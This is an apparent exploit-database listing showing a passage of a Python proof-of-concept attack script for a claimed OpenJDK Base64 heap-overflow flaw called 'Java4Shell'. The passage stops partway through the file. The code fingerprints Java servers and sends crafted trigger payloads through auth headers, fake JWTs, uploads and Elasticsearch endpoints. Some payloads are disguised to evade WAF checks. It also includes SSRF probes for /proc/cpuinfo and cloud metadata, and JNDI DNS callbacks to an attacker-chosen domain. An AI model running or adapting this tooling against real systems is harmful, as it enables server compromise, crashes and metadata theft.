Exploit databaseDownload repository ZIP
GH-33cbc321f3354bf51fdfa503aa6a1197
ghost-bx1/java-exploits
Sources for CVE-2026-114938
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
ghost-bx1/java-exploitsRevision 74ee0f37b869
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve-2026-114938/poc.py
Suggested starting filePython · 39,816 bytes#!/usr/bin/env python3
"""CVE-2026-114938 - Java4Shell PoC | By Gh0st-Bx1 | github.com/Ghost-Bx1"""
import argparse
import base64 as _b64mod
import json
import os
import re
import socket
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
VERSAO = "2.0.0"
C = {
"G": "\033[92m", "Y": "\033[93m", "R": "\033[91m",
"Cy": "\033[96m", "W": "\033[97m", "D": "\033[2m",
"N": "\033[1m", "X": "\033[0m",
}
# ---------------------------------------------------------------------------
# Global runtime flags (set by main from args)
# ---------------------------------------------------------------------------
_VERBOSE = False
_SAVE_DIR = None
_DNS_CALLBACK = None
_SAVE_LOCK = threading.Lock()
_SAVE_CTR = [0]
def _vdbg(label, url, code, hdrs, body_b):
if not _VERBOSE:
return
hdr_s = "\n".join(f" {k}: {v}" for k, v in list(hdrs.items())[:8])
body_s = body_b[:300].decode(errors="replace") if body_b else ""
print(f"\n {C['D']}--- {label} ---{C['X']}")
print(f" {C['Cy']}URL {C['X']} {url}")
print(f" {C['Cy']}CODE {C['X']} {code}")
if hdr_s:
print(f" {C['Cy']}HDRS{C['X']}\n{hdr_s}")
if body_s:
print(f" {C['Cy']}BODY{C['X']} {body_s!r}")
def _save_evidence(label, url, code, body_b):
if not _SAVE_DIR:
return
with _SAVE_LOCK:
idx = _SAVE_CTR[0]
_SAVE_CTR[0] += 1
name = re.sub(r"[^a-zA-Z0-9_.-]", "_", label)
path = os.path.join(_SAVE_DIR, f"{idx:04d}_{name}.txt")
with open(path, "wb") as fh:
fh.write(f"URL: {url}\nCODE: {code}\n\n".encode())
fh.write(body_b or b"")
# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
def _build_banner():
G = C["G"]; Cy = C["Cy"]; D = C["D"]; N = C["N"]
W = C["W"]; X = C["X"]
IW = 68
sp = " " * IW
TL = "╔"; TR = "╗"; BL = "╚"; BR = "╝"; VB = "║"
eq = "═" * IW; hl44 = "─" * 44; bar = "│"
def _vl(s):
return len(re.sub(r"\x1b\[[0-9;]*m", "", s))
def _row(s):
n = _vl(s); p = max(0, IW - n); l = p // 2; r = p - l
return f"{G}{VB}{X}{' ' * l}{s}{' ' * r}{G}{VB}{X}"
def _row_l(s):
n = _vl(s); p = max(0, IW - n - 2)
return f"{G}{VB}{X} {s}{' ' * p}{G}{VB}{X}"
ga = [
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠛⠛⠿⠟⠉⠛⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⢀⣠⣤⣶⣶⣶⣶⣶⣶⣤⣀⠢⢝⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⡡⢀⣴⡿⢋⡴⢿⣿⣿⣿⣿⣿⣿⣿⢷⣦⡑⠈⡛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⡜⢠⣾⣿⣤⣋⣴⣿⣿⣿⣿⣿⣿⣿⣿⣷⣌⠻⣶⣦⣤⣤⣀⠉⠻⣿⣿⣿⡿⠿⢛⢛⡻⠿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⠿⠟⠟⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⢀⣿⣿⣿⡿⠛⠛⠻⣿⣿⣿⡿⠛⠛⢿⣿⣿⣧⠉⠉⣁⣈⣉⣁⢀⣿⣿⢋⠄⣁⣴⣶⣄⠐⢌⢻⣿⣿{X}", ""),
("", f"{G}⡏⠀⣴⣦⣄⠢⡙⢿⣿⣿⣿⣿⣿⣿⡇⠀⣼⣿⣿⣿⠅⠀⠀⠀⢹⣿⡿⠁⠀⠀⠀⢹⣿⣿⡆⠀⣿⣿⣿⣿⣿⡟⠁⢀⣴⣿⣿⣿⣿⣷⡈⠎⢿⣿{X}", ""),
("", f"{G}⡇⠀⣿⣿⣿⣷⣌⠀⠙⢿⣿⣿⣿⣿⠀⢀⣿⣿⣿⣿⠀⠀⠀⠀⠈⣿⡇⠀⠀⠀⠀⠈⢿⣿⡇⠁⢻⣿⣿⣿⡿⠁⢠⣾⣿⣿⣿⡿⢿⣿⣷⠀⠘⣿{X}", ""),
("", f"{G}⣇⠀⢿⣿⣿⡟⣿⣷⣄⠀⠙⢿⣿⡇⠀⣸⣿⣿⡿⣿⡀⠀⠀⠀⢸⣿⣧⠀⠀⠀⠀⣸⡈⣿⣷⠀⡈⣿⣿⡿⠁⢀⣾⣿⣿⢩⣿⠁⣾⣿⣿⡆⠀⢿{X}", ""),
("", f"{G}⣿⡀⠘⣿⣿⣿⡘⣿⣿⣷⣌⠂⠉⠁⢠⣿⣿⡟⣰⢿⣷⣤⣤⣴⣿⣿⣿⣷⣄⣠⣴⣿⣧⠸⣿⣧⡐⠢⠉⠁⢀⣾⣿⣿⡇⣼⣿⢸⣿⣿⣿⣇⠀⢸{X}", ""),
("", f"{G}⣿⣷⡀⠸⣿⣿⣧⠸⣿⣿⣿⣿⣶⣶⣿⣿⠏⡰⢃⣾⣿⣿⣿⣿⡏⠀⠈⣿⣿⣿⣿⣿⣏⠳⣘⣿⣿⣷⣶⣾⣿⣿⣿⣿⢠⣿⣿⣿⣿⣿⣿⣿⠀⢸{X}", ""),
("", f"{G}⣿⣿⡇⠀⣿⣿⣿⡄⡿⢿⣿⣿⣿⣿⣿⣷⣾⣷⣿⣿⣿⣿⣿⣿⣧⣀⣠⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⡇⠸⠋⢉⠉⡉⠛⠿⣿⠀⢸{X}", ""),
("", f"{G}⣿⣿⡇⢀⣿⣿⣿⣧⢸⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⢠⣾⣿⡄⠈⠀⠀⠀⠀⣾{X}", ""),
("", f"{G}⣿⡟⠀⣸⣿⣿⣿⣿⣜⡇⢿⣧⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⡉⠻⠇⠀⠰⠀⠀⣀⣾{X}", ""),
("", f"{G}⣿⠃⢠⣿⣿⠿⠿⠿⢿⣿⠸⣿⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⢣⢸⣿⣿⣿{X}", ""),
("", f"{G}⣿⢰⠜⠋⠀⢀⡄⢰⣤⡀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠃⢻⣿⣿{X}", ""),
("", f"{G}⣿⣆⠠⠀⡀⠀⠁⣿⣿⠟⠀⣽⣿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢻⣿⣿⣿⣿⣿⢃⣿⣿⣿⡟⣸⣿⣿⣿⣿⡿⠋⢠⢃⣾⣿⣿{X}", ""),
("", f"{G}⣿⣿⣷⣶⠆⡄⠈⢉⣠⣴⣾⣿⢿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⢋⣴⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿⠇⠛⢏⠉⠉⠁⠤⢊⣥⣾⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⢄⠀⢾⣿⣿⣿⣿⡇⢸⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣶⣬⣭⣶⣾⣿⣿⠏⣼⣿⣿⣿⡇⣸⣿⣿⣿⠀⣰⣿⡁⢠⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣤⣀⡀⠀⠀⠉⠉⠁⢸⣿⣿⣿⢸⣿⣿⣿⣿⡹⣿⣿⣿⣿⣿⣿⣿⣿⠋⣼⣿⣿⣿⣿⠇⣿⣿⣿⣿⡀⠹⢿⡇⠀⢿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠛⠀⣼⣿⣿⣿⢸⣿⣿⢻⣿⣷⣌⠻⣿⣿⣿⣿⠟⣡⣾⣿⡟⣼⣿⣿⠀⣿⣿⣿⣿⣿⣶⣤⡀⠀⢸⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⠈⠀⣴⣾⣿⣿⣿⡇⢸⣿⣿⣇⢻⣿⣿⣷⣦⣭⣭⣴⣾⣿⣿⣿⢡⣿⣿⣿⠀⣿⣿⣿⣿⣿⠿⠟⠃⡀⢸⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⡐⠠⢈⡉⠛⠛⠿⡇⢸⣿⣿⣿⡜⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⣼⣿⣿⣿⠀⣁⣤⡄⠀⣀⣒⣀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⡌⠀⣦⠀⣼⣿⣿⣿⣇⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⢁⣿⣿⣿⣿⣄⡈⠛⠃⠐⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⢁⣤⣿⣿⣿⣿⣿⠘⣿⣿⣿⣿⣿⣿⣿⣿⡟⢸⣿⣿⣿⣿⣿⣿⣦⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠠⣿⣿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⢼⠿⠿⣿⣿⣿⣿⠟⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠈⣙⠛⠛⣛⣛⠛⠀⠻⢿⣿⣿⣿⣿⣿⣿⡃⢠⣤⠀⠀⣀⣉⣁⣀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣶⣶⣤⡀⢀⠈⢿⣿⣿⣿⣿⣷⣄⠁⠀⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠁⠈⣿⣿⣿⣿⣿⣿⡆⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠠⢠⣿⣿⣿⣿⣿⠟⢀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡗⠀⢸⣿⣿⣿⡿⢁⡄⣡⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠰⠘⣿⣿⣿⠁⠎⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡑⠈⠻⠇⠈⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
]
info = [
f"{G}{N}CVE-2026-114938 - Java4Shell - OpenJDK Base64 OOB Write RCE{X}",
f"{Cy}v{VERSAO} {D}heap out-of-bounds write via malformed Base64 (AVX-512 VBMI){X}",
f"{D}{'─' * 44}{X}",
f"{W}By Gh0st-Bx1 {D}{bar} github.com/Ghost-Bx1{X}",
f"{D}{'─' * 44}{X}",
f"{D}--target host --port 443 --scheme https --verbose --output file{X}",
f"{D}CVSS 9.2 (CVSS4) / 8.1 (CVSS3.1) | Java 17.0.6-21.0.13 | Heap OOB{X}",
]
out = [f"{G}{TL}{eq}{TR}{X}", f"{G}{VB}{sp}{VB}{X}"]
for left, center, right in ga:
out.append(_row(left + center + right))
out.append(f"{G}{VB}{sp}{VB}{X}")
for i in info:
out.append(_row_l(i))
out += [f"{G}{VB}{sp}{VB}{X}", f"{G}{BL}{eq}{BR}{X}"]
return "\n".join(out)
# ---------------------------------------------------------------------------
# HTTP helper
# ---------------------------------------------------------------------------
def _http(url, method="GET", body=None, headers=None, verify=True,
timeout=10, proxy=None, allow_redirects=True):
ctx = ssl.create_default_context()
if not verify:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
handlers = [urllib.request.HTTPSHandler(context=ctx)]
if proxy:
handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
if not allow_redirects:
class _NoRedirect(urllib.request.HTTPErrorProcessor):
def http_response(self, request, response):
return response
https_response = http_response
handlers.append(_NoRedirect)
opener = urllib.request.build_opener(*handlers)
req = urllib.request.Request(url, data=body, method=method)
for k, v in (headers or {}).items():
req.add_header(k, v)
try:
with opener.open(req, timeout=timeout) as r:
return r.status, dict(r.headers), r.read()
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
except Exception as e:
return 0, {}, str(e).encode()
def _http_timed(url, **kw):
t0 = time.monotonic()
code, hdrs, body = _http(url, **kw)
return code, hdrs, body, time.monotonic() - t0
def _log(tag, msg, cor="W"):
ts = datetime.now().strftime("%H:%M:%S")
t = f"[{tag}]"
print(f" {C[cor]}{t:<10}{C['X']} {C['D']}{ts}{C['X']} {msg}")
# ---------------------------------------------------------------------------
# Payload generator
# ---------------------------------------------------------------------------
def _build_trigger_payloads():
"""
Malformed Base64 strings that trigger the AVX-512 VBMI OOB write path.
Rules (from CVE-2026-114938 technical analysis):
1. The input must be >= 32 valid Base64 chars (activates AVX-512 VBMI fast path)
2. The string must end with a stray '=' padding character
3. Total length must NOT be a multiple of 4 (makes the decoder compute
a negative output length in the assembly tail handler)
4. All non-padding characters must be from [A-Za-z0-9+/]
The AVX-512 VBMI path processes blocks of 64 bytes at a time. When the
remaining tail length is 1 (len % 4 == 1) and the last character is '=',
the hand-written assembly subtracts incorrectly, yielding a negative
'output bytes remaining' count. That negative value is then used in a
64-byte VBMI scatter write, landing 62 bytes PAST the end of the output
buffer and corrupting adjacent heap objects.
"""
base = "A" * 32
payloads = []
# len%4==1 variants: 33, 37, 41, 45, 49 chars
for extra in (0, 4, 8, 12, 16):
p = base + "A" * extra + "="
if len(p) % 4 not in (0, 2):
payloads.append(p)
# len%4==3 variant
p35 = "A" * 34 + "="
if len(p35) % 4 not in (0, 2):
payloads.append(p35)
# Realistic-looking bearer token that embeds the trigger
realistic = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
payloads.append(realistic)
# Long variant to maximize AVX-512 block coverage
long_v = "A" * 64 + "=" # 65 chars, 65%4==1
payloads.append(long_v)
# Mixed-case to bypass simple WAF length checks
mixed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij=" # 37 chars, 37%4==1
payloads.append(mixed)
return payloads
def _dns_callback_payloads(domain):
"""Generate Base64-decoded strings that may cause Java to do a DNS lookup."""
if not domain:
return []
# Encode DNS-triggering strings as valid Base64 of len%4==1 ending in '='
# e.g., JNDI:dns://domain/x encoded into a 32-char block + stray =
jndi = f"${{{{'jndi:dns://{domain}/java4shell'}}}}"
b64_jndi = _b64mod.b64encode(jndi.encode()).decode()
# Take first 32 chars + stray = to trigger OOB
trigger_part = b64_jndi[:32] + "="
return [trigger_part]
# ---------------------------------------------------------------------------
# Fingerprinting
# ---------------------------------------------------------------------------
JAVA_VERSION_PATTERNS = [
(r"Java/(\d+\.\d+\.\d+)", "server"),
(r"java\.version=(\S+)", "body"),
(r"JVM:\s*([\d.]+)", "body"),
(r'"javaVersion":\s*"([\d.]+)"', "body"),
(r'"version":\s*"(\d+\.\d+\.\d+)"', "body"),
(r"Jetty\((\d+\.\d+)", "server"),
(r"Apache Tomcat/([\d.]+)", "server"),
(r"OpenJDK[/ ](\d+\.\d+\.\d+)", "body"),
(r'"java".*?"runtime".*?"([\d.]+)"', "body"),
]
FRAMEWORK_SIGNATURES = {
"Spring": [("body", r"spring"), ("header", r"X-Application-Context"),
("body", r"\"status\":\d+.*\"path\""), ("body", r"Whitelabel Error")],
"Keycloak": [("body", r"keycloak"), ("body", r"auth/realms"),
("header", r"X-Frame-Options.*SAMEORIGIN"), ("body", r"Keycloak Management Interface")],
"Jira": [("body", r"jira"), ("header", r"X-AUSERNAME"),
("body", r"Atlassian Jira"), ("body", r"/secure/Dashboard")],
"Confluence": [("body", r"confluence"), ("header", r"X-ASEN"),
("body", r"Atlassian Confluence")],
"Artifactory": [("body", r"artifactory"), ("body", r"\"version\".*\"storage\"")],
"Jenkins": [("body", r"jenkins"), ("header", r"X-Jenkins"),
("body", r"Jenkins[^<]*</title>")],
"Tomcat": [("server", r"[Tt]omcat"), ("body", r"Apache Tomcat"),
("body", r"Tomcat Manager")],
"Jetty": [("server", r"[Jj]etty"), ("body", r"Powered by Jetty")],
"Elasticsearch":[("body", r'"cluster_name"'), ("body", r'"version".*"lucene_version"')],
"Kibana": [("body", r"kibana"), ("header", r"kbn-name")],
"PingFederate": [("body", r"pingfederate"), ("body", r"PingFederate")],
}
# (major, minor_lo, patch_lo, major, minor_hi, patch_hi)
VULNERABLE_RANGES = {
17: (17, 0, 6, 17, 0, 21),
21: (21, 0, 0, 21, 0, 13),
25: (25, 0, 0, 25, 0, 5),
27: (27, 0, 0, 27, 0, 1),
}
FIXED_VERSIONS = {
17: "17.0.21.1",
21: "21.0.13.1",
25: "25.0.5.1",
27: "27.0.1.1",
}
def _is_version_vulnerable(ver_str):
parts = ver_str.split(".")
try:
major = int(parts[0])
minor = int(parts[1]) if len(parts) > 1 else 0
patch = int(parts[2]) if len(parts) > 2 else 0
except (ValueError, IndexError):
return None
if major not in VULNERABLE_RANGES:
return False
lo_maj, lo_min, lo_pat, hi_maj, hi_min, hi_pat = VULNERABLE_RANGES[major]
ver_tuple = (major, minor, patch)
return (lo_maj, lo_min, lo_pat) <= ver_tuple <= (hi_maj, hi_min, hi_pat)
def _detect_framework(body_s, all_hdrs):
"""Return the first framework whose signatures match the response."""
hdrs_flat = " ".join(f"{k}:{v}" for k, v in all_hdrs.items())
for fw, sigs in FRAMEWORK_SIGNATURES.items():
for src, pattern in sigs:
text = body_s if src == "body" else hdrs_flat
if re.search(pattern, text, re.IGNORECASE):
return fw
return None
def _extract_java_version(body_s, server_hdr):
for pattern, source in JAVA_VERSION_PATTERNS:
text = body_s if source == "body" else server_hdr
m = re.search(pattern, text, re.IGNORECASE | re.DOTALL)
if m:
v = m.group(1).strip()
if re.match(r"\d+\.\d+\.\d+", v):
return v
# JSON actuator /env format: {"property":{"source":"...","value":"21.0.10"}}
m = re.search(r'"java\.version".*?"value":\s*"([\d.]+)"', body_s, re.DOTALL)
if m:
return m.group(1)
return None
PROBE_PATHS = [
"/",
"/actuator/health",
"/actuator/info",
"/actuator/env", # leaks java.version cleanly
"/actuator/metrics",
"/api/health",
"/api/v1/health",
"/health",
"/healthz",
"/info",
"/version",
"/status",
"/WEB-INF/web.xml",
"/manager/html",
"/.well-known/security.txt",
"/rest/api/2/serverInfo", # Jira
"/rest/api/space", # Confluence
"/artifactory/api/system/ping",
"/api/json", # Jenkins
"/pingfederate/app",
]
def _fingerprint(base_url, scheme, timeout, proxy, verify):
info = {
"java_version": None,
"framework": None,
"server": None,
"endpoints_found": [],
"extra_headers": {},
}
for path in PROBE_PATHS:
url = f"{scheme}://{base_url}{path}"
code, hdrs, body = _http(url, timeout=timeout, proxy=proxy, verify=verify)
if code == 0:
continue
body_s = body.decode(errors="replace")
srv = hdrs.get("Server", hdrs.get("server", ""))
if srv and not info["server"]:
info["server"] = srv
# Collect interesting headers
for hk in ("X-Powered-By", "X-Application-Context", "X-Jenkins",
"X-AUSERNAME", "X-ASEN", "kbn-name", "X-Content-Type-Options"):
if hk in hdrs and hk not in info["extra_headers"]:
info["extra_headers"][hk] = hdrs[hk]
_vdbg(f"fp:{path}", url, code, hdrs, body)
_save_evidence(f"fp{path.replace('/', '_')}", url, code, body)
if not info["framework"]:
fw = _detect_framework(body_s, hdrs)
if fw:
info["framework"] = fw
if not info["java_version"]:
ver = _extract_java_version(body_s, srv)
if ver:
info["java_version"] = ver
if code < 500:
info["endpoints_found"].append(f"{path} [{code}]")
return info
# ---------------------------------------------------------------------------
# Base64 injection tests
# ---------------------------------------------------------------------------
def _baseline_time(base_url, scheme, path, timeout, proxy, verify):
"""Measure baseline response time for a path with valid credentials."""
url = f"{scheme}://{base_url}{path}"
valid_b64 = _b64mod.b64encode(b"test:test").decode()
_, _, _, t = _http_timed(url,
headers={"Authorization": f"Basic {valid_b64}"},
timeout=timeout, proxy=proxy, verify=verify,
allow_redirects=False)
return t
def _test_basic_auth(base_url, scheme, payloads, timeout, proxy, verify):
results = []
auth_paths = ["/", "/login", "/api/", "/admin", "/protected",
"/auth/realms/master/protocol/openid-connect/token",
"/j_spring_security_check", "/api/v1/auth",
"/manager/html", "/rest/api/2/myself",
"/rest/api/space", "/artifactory/api/system/ping"]
for path in auth_paths:
url = f"{scheme}://{base_url}{path}"
valid_b64 = _b64mod.b64encode(b"test:test").decode()
code0, _, _, t_base = _http_timed(url,
headers={"Authorization": f"Basic {valid_b64}"},
timeout=timeout, proxy=proxy, verify=verify,
allow_redirects=False)
if code0 not in (401, 403, 302, 200):
continue
for payload in payloads:
code, hdrs, body, t_trigger = _http_timed(
url,
headers={"Authorization": f"Basic {payload}"},
timeout=timeout, proxy=proxy, verify=verify,
allow_redirects=False,
)
body_s = body.decode(errors="replace").lower()
_vdbg(f"auth:{path}", url, code, hdrs, body)
_save_evidence(f"auth{path.replace('/', '_')}_{len(payload)}", url, code, body)
indicator = "unknown"
timing_anomaly = t_base > 0.1 and t_trigger > t_base * 4
if code == 0:
indicator = "CRASH"
elif timing_anomaly and code != 0:
indicator = "TIMING_ANOMALY"
elif code in (400, 422):
if any(k in body_s for k in ("base64", "illegal", "invalid", "malformed")):
indicator = "REJECTED_EXPLICIT"
else:
indicator = "REJECTED_GENERIC"
elif code == 401:
indicator = "DECODED_ATTEMPT"
elif code == 500:
if any(k in body_s for k in ("base64", "illegalargument", "heap",
"oom", "heapspace", "classcast",
"outofmemory", "nullpointer")):
indicator = "HEAP_ERROR"
else:
indicator = "SERVER_ERROR"
results.append({
"path": path,
"payload_len": len(payload),
"code": code,
"indicator": indicator,
"timing_ratio": round(t_trigger / t_base, 2) if t_base > 0.05 else 0,
})
return results
def _test_bearer_token(base_url, scheme, payloads, timeout, proxy, verify):
results = []
api_paths = ["/api/", "/api/v1/", "/api/v2/", "/graphql",
"/rest/api/1.0/", "/rest/api/2/", "/v1/",
"/api/json", "/v2/"]
for path in api_paths:
url = f"{scheme}://{base_url}{path}"
for payload in payloads[:3]:
fake_jwt = f"eyJhbGciOiJIUzI1NiJ9.{payload}.fakesig"
code, hdrs, body, _ = _http_timed(
url,
headers={"Authorization": f"Bearer {fake_jwt}"},
timeout=timeout, proxy=proxy, verify=verify,
allow_redirects=False,
)
body_s = body.decode(errors="replace").lower()
_vdbg(f"bearer:{path}", url, code, hdrs, body)
indicator = "unknown"
if code == 0:
indicator = "CRASH"
elif code == 500 and any(k in body_s for k in ("base64", "illegal", "heap",
"classcast", "outofmemory")):
indicator = "HEAP_ERROR"
elif code in (400, 401, 403):
if any(k in body_s for k in ("base64", "illegal", "malformed", "invalid")):
indicator = "REJECTED_EXPLICIT"
else:
indicator = "REJECTED"
results.append({
"path": path,
"token_len": len(fake_jwt),
"code": code,
"indicator": indicator,
})
return results
def _test_form_upload(base_url, scheme, payloads, timeout, proxy, verify):
results = []
upload_paths = ["/upload", "/api/upload", "/file/upload",
"/documents/upload", "/attachments", "/api/v1/files"]
boundary = "----GhostBoundary7391"
for path in upload_paths:
url = f"{scheme}://{base_url}{path}"
for payload in payloads[:2]:
body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"file\"; filename=\"test.b64\"\r\n"
f"Content-Type: text/plain\r\n\r\n"
f"{payload}\r\n"
f"--{boundary}--\r\n"
).encode()
code, hdrs, resp = _http(
url, method="POST", body=body,
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
timeout=timeout, proxy=proxy, verify=verify,
)
body_s = resp.decode(errors="replace").lower()
_vdbg(f"upload:{path}", url, code, hdrs, resp)
indicator = "SKIP"
if code == 0:
indicator = "CRASH"
elif code not in (404, 405):
if code == 500 and any(k in body_s for k in ("base64", "illegal", "heap",
"classcast")):
indicator = "HEAP_ERROR"
elif code < 500:
indicator = "ENDPOINT_EXISTS"
results.append({"path": path, "code": code, "indicator": indicator})
return results
def _test_elasticsearch(base_url, scheme, payloads, timeout, proxy, verify):
"""Test Elasticsearch Basic Auth endpoints (post-auth vector)."""
results = []
es_paths = ["/_cluster/health", "/_cat/indices", "/_search"]
for path in es_paths:
url = f"{scheme}://{base_url}{path}"
for payload in payloads[:2]:
code, hdrs, body = _http(
url,
headers={"Authorization": f"Basic {payload}"},
timeout=timeout, proxy=proxy, verify=verify,
allow_redirects=False,
)
body_s = body.decode(errors="replace").lower()
_vdbg(f"es:{path}", url, code, hdrs, body)
indicator = "SKIP"
if code == 0:
indicator = "CRASH"
elif code == 500 and any(k in body_s for k in ("base64", "heap", "classcast")):
indicator = "HEAP_ERROR"
elif code not in (404,):
indicator = "ENDPOINT_EXISTS"
results.append({"path": path, "code": code, "indicator": indicator})
return results
# ---------------------------------------------------------------------------
# AVX-512 / CPU detection via SSRF
# ---------------------------------------------------------------------------
REQUIRED_CPU_FLAGS = {"avx512f", "avx512bw", "avx512vbmi", "bmi2"}
def _probe_avx512_ssrf(base_url, scheme, timeout, proxy, verify):
ssrf_payloads = [
"file:///proc/cpuinfo",
"http://127.0.0.1:8080/proc/cpuinfo",
"http://localhost/proc/cpuinfo",
"http://169.254.169.254/latest/meta-data/",
]
ssrf_endpoints = ["/api/fetch", "/proxy", "/redirect",
"/api/v1/proxy", "/webhook/test", "/url",
"/api/v2/proxy", "/fetch"]
for ep in ssrf_endpoints:
for ssrf_target in ssrf_payloads:
url = f"{scheme}://{base_url}{ep}?url={urllib.parse.quote(ssrf_target)}"
code, _, body = _http(url, timeout=timeout, proxy=proxy, verify=verify)
body_s = body.decode(errors="replace")
if code == 200 and "cpu family" in body_s.lower():
flags = set(re.findall(r"\bavx512\w*|\bbmi2\b", body_s, re.IGNORECASE))
return REQUIRED_CPU_FLAGS.issubset(flags)
return None
# ---------------------------------------------------------------------------
